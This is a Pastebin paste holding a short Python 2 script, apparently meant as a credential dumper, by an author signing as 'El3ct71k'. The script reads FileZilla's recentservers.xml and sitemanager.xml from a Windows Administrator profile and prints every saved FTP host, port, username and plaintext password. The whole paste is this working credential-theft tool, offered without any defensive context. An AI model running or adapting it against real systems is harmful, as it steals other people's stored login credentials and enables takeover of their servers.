Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import xml.etree.ElementTree as etree
- #By El3ct71k
- if os.path.exists('C:/Documents and Settings/Administrator/Application Data/FileZilla/')==True:
- files = ["C:/Documents and Settings/Administrator/Application Data/FileZilla/recentservers.xml", "C:/Documents and Settings/Administrator/Application Data/FileZilla/sitemanager.xml"]
- print "Import from FileZilla:"
- for file in files:
- if os.path.exists(file)==True:
- myfile = open(file, 'r').read()
- root = etree.XML(myfile)
- root = list(root)
- for details in list(root[0]):
- h4ck = list(details)
- print "host: "+h4ck[0].text+" Port: "+h4ck[1].text+" Username: "+h4ck[4].text+" Password: "+h4ck[5].text
- print "END"
- else:
- print "FileZilla FTP Software not found"
Add Comment
Please, Sign In to add comment